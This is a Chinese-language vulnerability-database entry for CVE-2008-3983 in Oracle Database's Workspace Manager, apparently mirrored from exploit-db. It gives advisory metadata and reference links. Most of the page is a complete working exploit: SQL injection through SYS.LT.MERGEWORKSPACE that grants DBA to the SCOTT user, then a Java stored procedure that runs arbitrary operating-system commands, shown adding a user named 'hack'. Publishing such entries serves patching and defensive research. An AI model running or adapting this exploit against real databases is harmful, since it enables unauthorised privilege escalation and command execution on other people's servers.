Oracle Database 组件"Workspace Manager "未明安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117207 漏洞类型
发布时间 2009-01-06 更新时间 2009-01-06
CVE编号 CVE-2008-3983 CNNVD-ID CNNVD-200810-197
漏洞平台 Multiple CVSS评分 5.5
|漏洞来源
https://www.exploit-db.com/exploits/7676
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200810-197
|漏洞详情
OracleDatabase是一款商业性质大型数据库系统。OracleDatabase组件"WorkspaceManager"存在未明安全漏洞,远程攻击者可以通过未明向量,影响机密性和完整性。
|漏洞EXP
/*********************************************************/
/*Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit**/
/****grant DBA and create new  OS user (java)*************/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using java procedures ************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009               */
/* Written by:             Alexandr "Sh2kerr" Polyakov   */
/* email:                  Alexandr.Polyakov@dsec.ru     */
/* site:                   http://www.dsecrg.ru          */
/*                         http://www.dsec.ru            */
/*********************************************************/
/*Original Advisory:                                     */
/*Esteban Martinez Fayo [Team SHATTER ]                  */
/*Date of Public Advisory: November 11, 2008             */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/

select * from user_role_privs;

CREATE OR REPLACE FUNCTION Y return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'Y';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');
exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');



/* Creating simple java procedure that executes OS  */

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
 public static void execCommand (String command) throws IOException
 {
     Runtime.getRuntime().exec(command);
 }
};
/

CREATE OR REPLACE PROCEDURE JAVAEXEC (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA 
NAME 'JAVACMD.execCommand (java.lang.String)';
/

/* here we can paste any OS command for example create new user */

exec javaexec(‘net user hack 12345 /add’);

select * from user_role_privs;

// milw0rm.com [2009-01-06]
|参考资料

来源:SECTRACK
名称:1021050
链接:http://www.securitytracker.com/id?1021050
来源:www.oracle.com
链接:http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html
来源:VUPEN
名称:ADV-2008-2825
链接:http://www.frsirt.com/english/advisories/2008/2825
来源:SECUNIA
名称:32291
链接:http://secunia.com/advisories/32291